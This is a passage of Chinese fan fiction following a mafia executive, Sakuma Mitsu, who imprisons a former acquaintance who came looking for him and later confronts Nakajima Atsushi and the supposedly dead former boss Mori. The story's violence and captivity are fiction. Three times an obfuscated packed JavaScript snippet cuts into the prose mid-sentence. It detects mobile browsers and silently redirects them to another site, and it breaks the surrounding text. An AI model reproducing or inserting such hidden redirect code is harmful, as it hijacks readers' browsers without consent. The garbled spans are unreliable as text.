通缉令上的照片实在没有拍出弥津先生样貌的优越之处,有点像特意设计的模糊照片。 他装作不认识,向值班警察问道,这个人是谁。通缉令上没有名字,只有像代号一样的称呼。“执伞人”?这个嘛……弥津先生是经常带一把黑伞了。看到弥津先生还在好好地“工作”,他居然松了一口气。 这下不怕找不到人了。 值班警察似乎不想对他多说弥津先生的事,只是说,如果有线索可以向他们提供,会有一定的奖励金。 他在心里好笑地想,如果他对警察们讲弥津先生在外地开书店的事,会不会把他当成拿他们寻开心的人,最后把自己赶出去。 无论是开书店,还是这个登上通缉令,都是一个人。 他希望是一个人。 他希望弥津先生没有变。 希望自己还能见到那个会邀请他和自己同住,会为了履行承诺也为了那一整座城镇的居民与犯罪团伙作对,会心血来潮喊路过的他们一起去吃烤肉的人。 他问,自己能不能拿一张通缉令,感觉有点眼熟。 “也许多看几眼,下次再见就能认出来了。” 命运的风还在吹,把他吹得头晕目眩。 他拿着弥津先生的通缉令,在心里想着之后的计划,进到附近一家大型商超时,和抱着一大袋面包的青年擦肩而过。他若有所思地回头,而对方也像发现他有点眼熟之后缓缓转身。 他站在原地没有动,但看对方一瞬间的动作,似乎是想跑。 “我们应该见过吧。不记得了吗,”他笑着说道。 三年前,冬天,傍晚。 你奉命来袭击我,但被你伤到的是弥津先生。 他需要和这个人谈谈。这个人一定拥有让他见到弥津先生的方法。 可对方始终在言语和眼神上回避他,不愿意和他找个地方冷静平等地沟通。 “我已经不是港口黑手党的成员了。想做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840525|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,请找别人吧。” “我是来找弥津先生的。仅仅这一个目的。” 他不知姓名的人时不时就陷入沉默,特别是看到他手里拿着的通缉令的时候。 青年转身,沿着人行道快步走远。在青年的默许中,他跟了上去。跟到一处很少有人经过的街区转角,曾经与他有过那么一段意外接触的人才停下脚步,转身面向他,眼神复杂。 “你知道他的身份吗。” “不太明白呢。” “……什么都不知道,你还要见他?” “是啊。” “我的建议是……你不要找他。” “我必须找到他。” 哪怕弥津先生真的变成了冷血无情的杀人狂,他也要亲眼一探究竟才能断掉心中的念头。 ……可他又深信弥津先生不会变成那样。环境是塑造人的,但如果很多年前的“工作生涯”没有让当时尚且年纪还小的弥津先生改变本性,那么他相信现在更不能。 或许是曾经对他执行那种命令时留下一丝愧疚,被他缠住的青年舍得向他透露一点消息。 “我已经提醒过你了……到时候出现意外,你要对自己负责。” 那位最近经常出现在港口,想碰运气,可以去那里。 港口……港口。 谢谢,他记住了。 如果没办法在港口遇到弥津先生,他最后的目标定在那几栋据说是港口黑手党总部的摩天大楼。 可这就是运气好吧。 他在心里庆幸自己像被神明瞥视一样走运。 他远远地就看到了那道人影。 时近九月,弥津先生穿着一件黑灰色的薄风衣,若是没有这件外套,仅有那件黑衬衫可挡不了多少迎面吹来的海风。 有个闪光的小东西挂在衣服胸口,为了看清这个小物件,他在听到枪声后也没有停下脚步。 身姿挺拔的青年就算转过身来看到他,还是那副面无表情的样子,但眼神要更生动些。 好消息是,弥津先生显然没有忘记他。命令别人放下枪,还招手让他过去。 他敛下眼神,轻轻瞧了一眼那个死在弥津先生手里的男人,迈步走近,心情微妙但认真地观察起弥津先生。 风衣里的立领衬衫面料纹理很特别,没系领带,也没扣好最上面的一颗扣子,露出肤色白皙的脖颈。胸口亮晶晶的东西是一枚精致的胸针,在阴天的微光下泛着淡淡的蓝色,仿佛真的有一片浪花在弥津先生胸口轻轻淌过。 打断他观察的是弥津先生对他的脸伸出的“魔爪”。似乎这是唯一一种确认他没有被别人冒名顶替的方式。 他站在几乎两年没见的人面前,任凭弥津先生捏他的脸,还摸他的头发和耳坠。 他会拒绝弥津先生的举动吗? 他不会的。 但他还没来得及说一句完整的话,弥津先生又一次把他放倒了。 ——他以前好像也被弥津先生这么轻松解决过。 他是被铁链锁在什么地方了吗?他动了动胳膊,手腕上传来叮呤咣啷的响声。双眼被蒙住,他只能静静听外界的声音。嗅觉在这里没什么用。 人在失去视觉和自由的时候,时间的流逝往往是最难判断的。 不知过了多久,他被铁链束缚的胳膊逐渐僵硬麻木,他终于听到了几道脚步声。 脚步在他面前停下。 扯掉他眼前布条的人力道很大,像是完全不把他的感受放在眼里。 他遗憾地想,应该不是弥津先生。 突然袭来的亮光极其刺眼,但他看清了这是一间……牢房。没错,这是一间牢房。 扯掉他眼前布条的人没好气地哼了一声,即使戴着墨镜,他也看得出这个人——没记错的话是叫镜优的男人——根本不想看到他。他冲男人一笑,“好久不见呢,‘镜优先生’。” 男人听了他的话有点咬牙切齿的感觉,却碍于弥津先生在场所以没办法做什么。 他正视起站在镜优身后的青年,“弥津先生,你是生气了吗。” 至少先听他讲讲过去两年的事,再决定他的下场。 刻意多远离他两步的青年眼神变了又变。 最后,在一室的沉寂中说,“横滨不是你该来的地方。” “听起来,又要赶我走了。” 简直和当年让他别总去书店一样。 “弥津先生……我已经不是学生了。” 77.在外地忙的干部 仿佛书店变成了牢房,一尘不染的书架变成搭建起世界另一面的高墙。 在早几年前,他们也这样存在于同一片屋顶下。 那时的苏枋隼飞不会被丢进走不出去的地牢,佐久间弥津也依旧爱穿素雅的浅色。按时去书店开门,在没有客人的店里呆一整天,午餐在商店街解决,到了下午闭店的时间就下班回家,如果不想回家,就去仍有工人卸货的码头转转,或者去别的更繁华的街区等到夜幕降临。 乏味但平静,日复一日,好像永远没有尽头。 那几年里,如今担任佐久间弥津副手的人还在别人的命令下满世界出差,在据理力争下也很难拿到回国的许可。 可惜这些只是存在于回忆里的东西了。 苏枋隼飞不再是风铃高中的学生,佐久间弥津此时的身份也和书店老板天差地别。 地牢的空气里永远有消毒剂处理不干净的肮脏。 “怎么找到这里的。” 没有聪明方法。 保持着被铁链束缚的状态,在佐久间弥津眼里已经成长为青年人的苏枋隼飞对这个问题对答如流。 “想办法问过不少人,觉得你在横滨的可能性最大。这座城市有许多能力者的传闻,在一些老人的记忆里,也总是不太和平。我来过横滨几次了,但只有这次运气不错,看到了你的通缉令。你以前常去港口散步,我还记得这件事。” 佐久间弥津的心情很复杂。 他想去钢琴家的工作室待一会儿把自己毒晕过去。 真希望一觉醒来优已经给苏枋注射完药剂然后把昏迷不醒的人早早送走了。 他们之间的差别太大了,根本无法弥补。 他示意优把铁链打开。 “回答我一个问题。” 回答得出来,我就让你留在这里。 “好啊。”苏枋隼飞当然会答应。 听好了。 “过去的两年里,我一共杀死了多少人。精确到个位数,不用区分男女,也不用分死亡方式。” 心脏麻痹休克、脑部重创、枪杀、任何物理方式攻击导致的死亡,都算在内。 把苏枋凝固的神情看在眼里,佐久间弥津接着说,“回答不出来吗。” 换一个问题也可以。 黑市悬赏我性命的悬赏令,曾经达到的最高价是多少。 “两个问题,答得出一个就算你赢。时限一周。” * 他过上了被软禁的日子。 但这不是普通的软禁生涯。 夜晚被软禁在弥津先生的“休息室”里。押送他从“地牢”到那处屋子的人是这么说的。地牢这个词,同样也是这两个人提到的。 用简单粗暴的方式把他的视力剥夺,他看不到一路上任何人或物。 但他只是在地牢的走廊走几步,然后进电梯直达而已。仅仅两个步骤,任何别人都没有遇到过。 难道那是弥津先生办公室楼层的直达电梯吗。 工作之余的休息室,却不知为何让他感觉,比他在横滨租住的房子更有家的味道。 弥津先生是不是在这里住过?床具和物品延续了弥津先生一贯的色彩喜好。弥津先生在工作外的时间里,连衣服基本都是浅色系吧。 弥津先生在黑手党组织里的职责是什么呢?他过去见到的“前同事”和现在看到的黑手党成员,都很尊重弥津先生。 也“尊重”被弥津先生命令软禁的他。这体现在对他没有盛气凌人和鄙夷,但也对他的问题一概不答。没把他当真正的囚犯,也没把他当有用的人。 休息室里什么都有,但屏蔽了手机信号。 白天,他就要以同样的方式回到地牢,对着不够干净的墙壁继续对弥津先生提出的问题苦思冥想。 一只手被手铐铐着,锁链另一头连着墙壁,另一只手倒还自由。 可他在无人的地牢里能做什么呢,难道要他想办法“占卜”一组数字? 他像面壁思过的学生一样,对着墙壁摇头苦笑。 第一个问题就算是弥津先生本人也不可能知道答案。如果看守他的人愿意回答他,第二个问题倒是很容易就能得到答案。 可是……按次数计算,距离他最后一次见弥津先生已经过了五个夜晚。在这期间,除了负责看守他的人,他一个人都没见到。想来是弥津先生对别人下了“任何人不能靠近”之类的命令。弥津先生在这里的地位有多高?有点难以想象。 既然有弥津先生的命令在…… 他转身问道,“请问,先生,你是怎么进来的。” 金发青年迈着不疾不徐的步子,走下阶梯,脸上带着没想掩饰的笑意,“当然是用双脚走进来的。” “弥津先生恐怕不太想让我见到别人。” “他的命令,对我们没多大效果。” ……“我们”? 苏枋隼飞望向另一个稍微落后几步的男人。是他没见过的人,看向他的目光里全是探究。 有过一面之缘的青年瞧了眼他被拷住的手,问他,“被关在港口黑手党地牢的感觉如何。” 感觉……有点无聊,还有些煎熬。毕竟是黑手党组织的牢房嘛。 这两个男人似乎觉得他被关在这里的事很好笑,站在离他几米远的地方,聊起了弥津先生在外地开书店时的往事,一些他完全不知道的内情。 说实话,想到自己的遭遇,他也觉得好笑。 但他被软禁的日子里心情一直很轻松。弥津先生没有变成让他陌生的样子,寻找弥津先生的目的就已经达成一半了。 弥津先生成为通缉犯的原因……莫非黑手党组织的成员都会拥有这样特别的身份。通缉令被贴在告示栏里的黑手党组织成员,也能光明正大地站在港口吹风散步吗?还是说,这就是横滨的特殊之处呢。 “以你的精神状态,还能熬几天。” 陌生青年忽然这么问他。 他的精神状态……还很正常吧。 “不接触外界和其他活物,也不张嘴说话,只摄入固定量和成分的食物、水和营养补剂,整日盯着同样污浊的墙壁,呼吸不新鲜的空气。时间一久,你自然会疯掉的。被剥夺自由的人都这样。” 算他心软,没有把你送进旁边的审讯部,不然你会疯得更早。 在你精神失常之后,再随便给你注射点什么药物,让你与世长辞。 “他就能甩掉你这个麻烦了。” 被关在地牢的年轻人思索着,却丝毫没把来人的话听进去。 苏枋隼飞坚信弥津先生不是想逼疯他,只是想借此逼他退一步,主动放弃。 “请问,弥津先生曾经被悬赏过?我想知道悬赏金额是多少。” 终于得以见到两个能和他交流的人,他得抓住这个机会。 干部先生和同伴面面相觑。关于这个问题,他们作为佐久间的“同事”,只知道大概数字。 但你问这个做什么。 “面壁思过这么久,你脑子里只有这件事?” 恐怕真离疯不远了。 * 这两个不知以何种名义、何种身份来地牢见他的人,并没有回答他的问题,理由是他没有解释为什么要问这个。 弥津先生给了他一周的时限,可几乎半个月过去了,弥津先生自己却没出现。 现在他已经学会了用空出来的另一只手在墙上虚空划公式或者写外文词语自娱自乐。手铐锁链另一端焊接在墙上,在夜晚被“遣送”回休息室前,他一整个白天能运动的范围只有以焊接点为圆心的半圆。 他是被遗忘了吗?倒也不像,因为隔一两天就会有“怪人”专门来他的牢房“探监”。 好像变成了动物园最稀奇的猛兽。就算门外挂着禁止入内的告示牌,也会有人不惜代价只为一睹传闻中猛兽的真容。这些人和弥津先生关系好像还不错的样子,都直呼“佐久间”。 那个曾经偷偷溜进弥津先生家里,差点遭到枪击的男人也跑 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把他好多年前的悬赏金除以二不就是吗?中原中也不知道这有什么难记的。 昨天,他听说地牢关了个奇人。 消息是别人对他说的。 佐久间以前开书店时认识的学生——现在不是学生了——来横滨找他。 但佐久间把人关进地牢,又安排人以奇怪手段把对方软禁起来……种种,让人越听越迷惑。 钢琴家说,被佐久间关起来的家伙就是几年前卷进那件事的人。 可佐久间人还在外地回不来呢。他问,有多少天了。 大概十多天,半个月,回答他的人估计道。 “普通人经不起这么关。佐久间不担心那人当真死在地牢?谁知道佐久间是怎么想的,”钢琴家表示自己看不懂这样的做法,“位于‘过去’的人找上门来,还能做什么。” 中原中也那一日并没有回答这个不认识他的年轻囚犯的问题。 而苏枋隼飞也知道自己不能在这种事上做梦……既然是弥津先生的同事,一定是以弥津先生的意向为主吧。 弥津先生一副不想让他留在横滨的样子。 他靠着数台阶和铁链环数再次熬过一天,换不同的语言数。 又靠着夜晚在弥津先生的休息室里四处翻找留下弥津先生生活痕迹的东西,熬过接下来的四天——他依靠特意搞乱所有东西又连夜收拾好,度过了之前的两周。 不给自己找点坐牢之外的事,他的身体会先灵魂一步衰败的。 今天,是他第二次见到那名橙发青年。 他向这位先生问出了同样的问题,对方却给出了相反的回答,“我忘了。” 是这样吗? 恰在此时,牢房外又传来一道脚步声。 将他关在地牢的人今日终于姗姗来迟。 出现在他视野里的弥津先生浑身湿透,银发也湿漉漉的,玫红色的眼睛里却没有流露半分他可以触及的情绪,神色淡漠。 室外在下雨?弥津先生不是会随身带一把伞吗。 他下意识想走向又是许久未见的人,可是连接着墙面的锁链将他死死束缚在几平米大小的区域,他迈不出哪怕一步。 站在他面前的橙发青年转身,迎着弥津先生的视线,没有说话。 淋过雨的人单膝跪地,湿发垂落,他对橙发青年低下头,像中世纪的骑士向自己忠于的领主俯首称臣。 “处理自己的私事吧,”橙发青年迈开步子,不再呆在地牢,“你的时间还有很多吧。” “是……首领。” 青年哑声说。 “首领”……?这个人是港口黑手党的首领? 直到橙发青年的身影彻底离开地牢,展示完全臣服姿态的人才站起身,望着他,脸色一如既往的平淡。 78.闹脾气的干部 “没有答案吗。”他面前的青年问。 但弥津先生一定早就知道他的答案。 “嗯。” 没有接触过横滨的地下势力,也没有从弥津先生的“同事”口中得到答案的他,只能交出这样的零分答卷。 “身体有哪里不舒服吗。” 实际情况告诉他,他该对弥津先生说“没有”。他的脚步还能迈得动,残留的理智也还够想念一个人,能张嘴回答弥津先生的问题,视力正常的那只眼睛能看清弥津先生全身。 但某些不可告人的情绪又告诉他,应该说“有”。这样回答,弥津先生没准能多关心他一眼,虽然有作弊的嫌疑——但想必作为黑手党成员的弥津先生,不在乎这样微不足道的小伎俩。 最后他选择折中。 “大概没有,至少表面没有。” 你淋了好久的雨吧,弥津先生。 不愿对他讲外界事务的人没接他的话,而是说,“之后派人送你去检查。” 唉,可他那么说的意思是希望弥津先生多在他眼前待一会儿。 他们都多久没独处过了。 就算整日被关在这里,他也从没把自己摆在囚犯的位置上,只是把等待的方式与“坐牢”等同。 他相信自己会等到的。 “第三个问题。这二十天里,我去见了谁。” ……还有问题吗? 苏枋隼飞只能以笑掩饰内心的苦涩。 “嗯。我打算再关你两天。” 准备离开的人却又回过头来,将与他的距离无限缩小。 弥津先生以近乎拥抱的动作靠近了他。他的脸颊能感受到弥津先生呼吸的温度,钻进他鼻腔的气息来自凉意袭人的秋雨,布料被打湿后的潮意,还有些他分辨不出来的复杂味道,但不知来自什么。绝无第二人能听到的极低暗哑嗓音传到他耳朵里,让他不得不专门分出点注意力去听弥津先生说了什么,才不会沉浸在意外的亲密中而忘记自己要继续呆地牢的命运。 “苏枋,前首领两年前已经死了……现在,港口黑手党首领只有一位。” 他抬起没被拷住的手,想在这样珍贵的独处时刻回应这个来之不易的拥抱,“我……” 他对港口黑手党根本不感兴趣,他只是为眼前人而来。 “别说话。记住它。” 弥津先生转身离开,没给他回答的机会。 ……其实他还想知道,现在的生活是弥津先生喜欢的吗。 弥津先生是幸福的吗?还是走得太远无法回头了呢。 望着地牢空荡荡的门口,他忽然想起弥津先生很久以前的一番话。 在那次关于“何为顶点”的讨论里,弥津先生形容自己的上司时用了许多赞美的话。大概是,“为人负责,工作认真,体术很好又顾全大局”这些,还认为自己的上司“人很好”。 他当年知道弥津先生用褒义词在形容一位犯罪组织成员。正因如此,他才会记住这件事。 ……会是刚才的那位先生吗。 * 佐久间干部要求即刻见到医疗部门的负责人,其他医护人员一概不见。 “多大的阵仗啊——‘干部先生’。出去一趟,你怎么变得这么激动。” 干部成员在紧急情况下自然是有特权的。但他可没见过佐久间的神色如此不妙,把他的得力助手都吓跑了。 在医疗部门里还用得着继续维持任务中的状态?再多来几次,下次没人敢给你和你的部下看病了。 青年不回应他,坐在护理床边,沉默地脱下可能已经被雨淋坏的外套,接着又解开黑色衬衣的扣子,手上的动作缓慢而平稳。 本还有意调侃两句的人看到衬衣下渗出几点红色的纱布时脸色突变。可冷着脸的人并没有就这样停下。 “你到底是……”去干了什么? “替我处理一下。”佐久间不给他询问的机会,也不想回答这个问题,“给我一把剪刀。” 从腰侧向下剪开裹着伤口的纱布,在处理外伤上经验丰富的医生一眼便辨认出这样的伤口已经被手法专业的人精心处理过,不是近期造成的,时间估计有半个月。 腹部的伤口极为惨烈,几乎被剜去一层皮肉,伤口边缘泛着暗红。即使被包扎过,现在依旧流着刺目的鲜血。 “这种伤,你该打麻药。” “不打。麻烦稍微快点。” 拒绝打麻药的人继续拿着消过毒的医用剪刀,从容竖向剪开右小臂的衣服,露出缠满小臂的纱布。 佐久间右胳膊上本就有没有完全褪去的暗沉色块,多年前意外受过的伤在佐久间身上留下连时间都难以轻易磨灭的痕迹。今日,小臂上又多了几道类似猛兽抓痕似的伤口。 佐久间把被剪开的袖子向上折起,超过手肘,露出了少部分的纹身。 “不听医生的话,你会吃亏的。”他说。 一块闪着粼粼亮光的鳞片在其手肘浮现,随后迅速吞没了佐久间弥津整条右胳膊,仿佛寄生在人体的“小动物”张开瞬间长满尖牙利齿的嘴,咬住佐久间弥津伸向它的剪刀。 欸……佐久间一定是生气了吧。 他装作无事发生地转身去拿用得着的器械,借此避开佐久间想杀人的视线。 绝对是这样吧,佐久间因为被他催着打麻药就想干掉他吧。 和中也一脉相承的纯血武斗派就是这点不好。谁知道什么时候就爆发了对别人的杀心。他可是个没有多少自保手段的医生呢。 ……? 他不可置信地回头。 “你刚才,说什么?” 可说出那种话的干部先生已经撇过头,丢开剪刀,面无表情地盯着在自己右胳膊上摇头晃脑的小生物。随后在外科医生惊恐的眼神里,左手迅速抓了上去,作势要把诞生不足两分钟的“生命”掐到窒息而死。 ……就算生气了也不要这么做啊!这是暴行啊暴行! * “他居然说,他‘最讨厌港口黑手党的医生了’!我什么时候惹过他吗?还是说部门里有其他人惹了他?我怎么一点都不知道?我不会在失业前就先被佐久间动私刑折磨得半死不活吧。” 说到底,佐久间为什么要说这种话啊! 当然,他还是有给佐久间认真包扎的,真不知道佐久间在哪受了那么重的伤。 放下酒杯的外科医生双手在空气里比划了一个大小,示意腹部的伤口有这么大,“拆掉绷带的时候还在流血。那种程度的伤,他连行走都该成问题。” 位于上腹部,是身体行动起来一定会牵扯到的位置。伤口也挺久了,佐久间身边没人看出来?他身边不是总跟着一个枪法高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848116|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明的人吗,怎么一点用都没有。 同情医生无妄之灾的信天翁做了个“我懂你”的表情。 “我早说过吧,他再严重的伤都能忍,他对自己太狠了。”当年被中岛敦伤成那样都一声不吭的,就像越疼但越发不出声音。 唯有钢琴家缺席的下班酒局以外科医生“声泪俱下”的“哭诉”为起点,以正在看调查报告书的冷血的话为终点。 “他有说让你对这件事保密吗。” “没有。给他包扎完,他就走了,还穿着那身湿掉的西装。我想借他一件外套,可他头都没回。” 佐久间这家伙完全无视了他的好意啊! “一般而言,这种事该保密的吧。” 港口黑手党的干部归来时一身伤,这不是很反常的情况吗。 闻言,外科医生只能长叹一声。 静静听了许久的人离开包厢去买单。 与心情复杂的医生相反,公关官只觉得医生的遭遇很好笑。 但这份会破坏气氛的情绪不能表达。 在医生当夜一脸忧伤的回家前,他安慰道,“放心好了,他不是真的讨厌整个医疗部门。” 犯罪组织的武斗派成员从来都是和医疗部门强绑定的定位。会说那种话,也许是被剧痛折磨到不想再强装理智吧,谁让医生要求佐久间“好好听医生的话”呢,佐久间口头说句气话也没什么……可这更好笑了。 他是今晚喝得最少的人。在医生说起佐久间受伤的事时,他就没打算再喝下去了。 他在想,让佐久间“受过伤”的是什么。 重力,有毒气体,还有被港口黑手党前首领解雇的那个人。他记忆里仅有的这些信息可以归结为—— “让佐久间掉以轻心的人”和“佐久间不能杀害的人”。 就佐久间的能力而言,没有普通杀手能不经过他的同意靠近他,想要近距离造成那么严重的伤,恐怕当时的佐久间已经失去反抗能力了。 敌人是一个人?两个人?但第二个问题仍然绕不开前一个问题。 在一切正常的情况下,普通杀手是干不掉如今备受成员信任的干部先生的。 受重伤,但不想让别人发现……所以,是在私人事务里受的伤,而且,是在非正常条件下。 佐久间的状态不正常,敌人也不是正常“敌人”。 是佐久间的“宿敌”? 他觉得这个猜测很有意思。 佐久间有纠缠多年的对手吗? 佐久间身上从来没有傲慢的味道,不会眼高于顶,自视甚高。但旗鼓相当又能够称之为“宿敌”的人……他只能找出旗鼓相当的人。 佐久间和欧洲部门的水落望音吵架了?还吵得很厉害? 怎么每一种出现在他脑海中的猜测都有点无厘头。 但若是想寻找可能引起佐久间厌恶的“医生”,也许整个世界也只有一个呢。 公关官冲站在自己面前的青年笑了笑。 “我可能需要和你的上司单独谈谈。” “……很抱歉。” 名为镜优的青年却没有为他腾出这片空间。 “弥津先生最近状态一直不太好。现在也许不是谈公务的好时间。” “我可没说过我要和他谈公务。” 他要谈的是私人事务。 79.想要杀死医生的干部 “中岛哥哥!中岛哥哥!” 身后的银发青年为其撑着伞,少年回头感激地看了一眼,随后更用力地敲着孤儿院的大门。 因为这场大雨,公交也在路上堵车晚点了,他比过去晚了一个小时才回来。虽然呢,天气预报上说这两天会下雨,但是,他没想到会这么大。 没人能改变天气吧。 他尽快赶回来了,希望中岛哥哥没有冒着倾盆大雨出去找他。 少年没敲多久,孤儿院的大门就向内打开,露出一张年轻但神色焦急的脸。 被前公司解雇后的人一直留在这处位于城郊的孤儿院,跟着院长先生照顾小孩子们。 眼看今日天色已晚,早该回来的人却迟迟没影。就算知道是大雨拖延回来的脚步,中岛敦也不由得有些心急。 等到这次晚归的时间超过上次同样因为天气而晚归的时间,他再也坐不住了,向院长先生说明情况之后便打算出门。 听到敲院门的声音,他心头一喜。拿着伞穿过露天的院子,打开的门后是他正准备去找的人。 可他高兴的心情还没持续一秒。 正为少年撑伞的青年生着一双见过就忘不掉的眼睛,毕竟那种色彩很特别。也不用大费周折去寻找宁静广阔的玫瑰园,在天气晴朗的傍晚抬头看天边绚烂的晚霞,就能从中找到颜色相似的部分。 他的心跳似乎骤停了。 那双眼里明晃晃地写着对他的杀意。这种眼神他太熟悉了,就像是……那个冬日傍晚的事重现了。 “中岛哥哥?” 他古怪的状态让该对此一无所知的少年起了疑心。但他不能轻举妄动,因为佐久间弥津的左手在少年脑后举着一把枪。他毫不怀疑地相信,一旦他有所反应,佐久间弥津就会开枪,让无知无觉的少年在这样凄凉的雨天倒在血泊之中,结束自己尚未完整的可悲人生。 黑手党成员……一定干得出这样残忍的事。 他只能强颜欢笑,在佐久间弥津面前让出一步,把手里的伞交给小孩,“没事……我和这位先生聊一聊,你先回去吧。” 他们意外默契地不想当真把学生年纪的小孩扯进他们之间的谈话中。 佐久间弥津穿着简单的白衬衣和长裤,不是正式的西装打扮,身上颜色最深的衣物不过是拿来挡雨的烟灰色风衣。撑着那把他见过许多次的黑伞,静静站在他面前,仿佛刚才用枪威胁别人的不是他一样。 何等的,让人愤怒。 “你来做什么。” “离开港口黑手党的生活,好吗。” ……他可不会相信这个男人是来问这种事的。 中岛敦语气冷硬地说,“请直说吧。” 港口黑手党选任干部的标准,超乎一般人的想象。佐久间弥津能升任干部,自然是因为他走了一条用罪恶和血腥铺成的路。但他无权指责,因为他曾经也是这样的人,那是……有时候无法选择的事。 但他会不惜一切代价阻止佐久间弥津靠近主楼。 青年瞧着他,也不恶言相向。 他知道佐久间弥津是这样的人,从不在口头上逞威风,对别人能在武力之外表现出的最大恶意,仅仅是皱眉头以示不满。 可现在,佐久间弥津的神色还是平淡得像一滩融化成水的雪,寡淡无味。 “离开组织之后,你为什么还会关注我们的动向。” 中岛敦的心渐渐沉了下去。 “……是‘他’说的吗。” “不,是查出来的。” 很好查吧。佐久间弥津不相信苏枋出现在港口是巧合。苏枋不会隐藏行踪,也不懂和黑手党组织打交道需要考虑什么,稍微花点心思,苏枋在进入横滨以来遇到过什么人,住在哪里,都一目了然。 那他呢?那个人在费尽心思找你。 “还活着。被软禁了。” …… 难以置信。中岛敦忍不住摇了摇头,“你对自己的旧识都能做到这种程度?” 那可是你曾经宁愿和我为敌也要保护的人! “只是软禁而已。” 佐久间弥津的意思是,苏枋又没被他下令处死,急什么。把苏枋关进组织总部,这不比放任苏枋在外面乱跑安全? 但中岛敦无法理解这个已经成为干部的男人到底在想什么。 他们之间已经无话可说了。 “你回答不了吗。”青年问,“为什么还在关注组织的事。甚至知道我那段时间在处理的事务。” 你是怎么知道的,难道靠路过港口的惊鸿一瞥? 可惜中岛敦根本顾不上体会佐久间弥津的冷幽默。 “如果我回答不了……你会杀掉我吗。” “我会杀掉孤儿院里所有的活物,包括你。所以,想好要不要回答了吗。” 中岛敦心知,能以武斗派成员的身份登上干部之位的人绝对有着堪比那位先生的战斗经验。 他不能等。 佐久间弥津的枪比他的手更快地举起来,对准他。 异能强化过后的手臂不惧手枪子弹,但他脆弱的心脏要如何保护。比那日更剧烈的疼痛在他身上重现。他的身体痛得厉害,又被强电流麻痹,难以快速反应。 他甚至分不清这样直击灵魂的疼痛来自大脑还是心脏。 佐久间弥津拖延出的时间,足够和他拉开安全距离了。 但他哪有放松的权力。 如果不把佐久间弥津留在这里的话,被留在这场大雨里的就会是孤儿院里的所有人。 ……如果任凭自己依照野兽的本能去攻击自己面前的人,是否就能阻止这个男人呢? 对付特别的对手,就该采取特别的手段。 无论是撕咬、撞击,为此,就连为人的尊严都可以暂时失去。 把他唤醒的疼痛来自重重砸在他脖颈上的手杖。 熟悉的男声随之而来,“已经够了,两位。” 堪堪清醒的他发现自己趴在露天的草坪里,浑身泥泞。 高举的手杖第二下没有砸他,而是履行了手杖的职责,被佐久间弥津真正当成手杖支撑自己的身体。 他伤到了佐久间弥津的右胳膊。 又是右胳膊。衣服布料被撕裂,露出血流不止的伤口,划穿的皮肉狰狞地外露,相比之下,没有外伤,只是滚了一圈泥泞的他看起来状态更健康。 佐久间弥津的脸色变得十分奇怪。 像大梦初醒的人怀疑自己眼见为虚,又像读到小说中的推理桥段但跟不上作者思路的读者,翻来覆去对着前情反复思量。 末了,低声问,“……森先生?” 青年扭头看了一眼他,又回头正视孤儿院如今的院长。 “您没死?” 关上通往主楼的门,和担任港口黑手党首领时有所差别的院长先生对今日上门的不速之客和善地笑了一声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856147|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你不是早就猜过我可能没死吗。不然,你当年为何辞职。你的个性,的确不适合太宰君手里的港口黑手党。” 每动一下,浑身就像被长满钢针的铁球碾过一样疼。中岛敦艰难地从地上爬起来,抬头看着佐久间弥津步履缓慢地朝院长走过去,脸上不再是那副让人看了生气的淡漠神色。 他第一次知道原来这个男人也会像犯了错之后不知所措的人一样,露出慌张和迷茫的表情。 “森先生?” 青年又一次唤出这个名字,像在呼唤触手可及的命运。 您没死。 青年再次重复道。 可这样无意义的重复却只会让中岛敦感到毛骨悚然。 过了足有一分钟,佐久间弥津低声叨念的话终于变了,中岛敦也从中嗅到越发不妙的味道。 “很抱歉,森先生……港口黑手党不需要两位首领。” 望着九年前被他招揽进港口黑手党的青年眼中浓郁的杀意,当年假死脱身的男人赞扬道,“你果然成长为这副样子了。” 真是不错。连想要为了如今登上首领之位的中也君而杀掉他的这份心情也是。 * “优……别拦他。” 佐久间的声音有种奇怪的闷感。 得以走进干部先生的办公室,看到这个枕着胳膊趴办公桌上闭眼休息的人,公关官只觉得荒谬。他绕到佐久间身后,提着干部成员的后衣领,把人从假寐状态强制唤醒。 “胳膊不是受伤了吗?你现在在干什么呢。” 换个正常点的休息姿势吧,居然有人想让自己伤上加伤。如果不知情的首领这种时候给你安排点任务,你就知道自己在自讨苦吃了。 “你是自虐狂吗?” “……不是。” “发生什么事了,和……那个人有关?” “我不想说。” 被他拽着衣领的人又保持仰头靠着椅背的姿势,继续闭目养神。 “你的伤,是那个前成员造成的吧。” * 是啊。 是中岛敦拦着他不让他杀死森先生时候干的。 不惜一切代价都想拦住他的人采用最原始的手段,扑过来死死抱住了他的腰,卡在他身前的虎化双手始终没有收回,哪怕中岛敦已经二度晕厥,过了一段时间才恢复成人类的双手。 差点把他的腹部挖出一个洞。 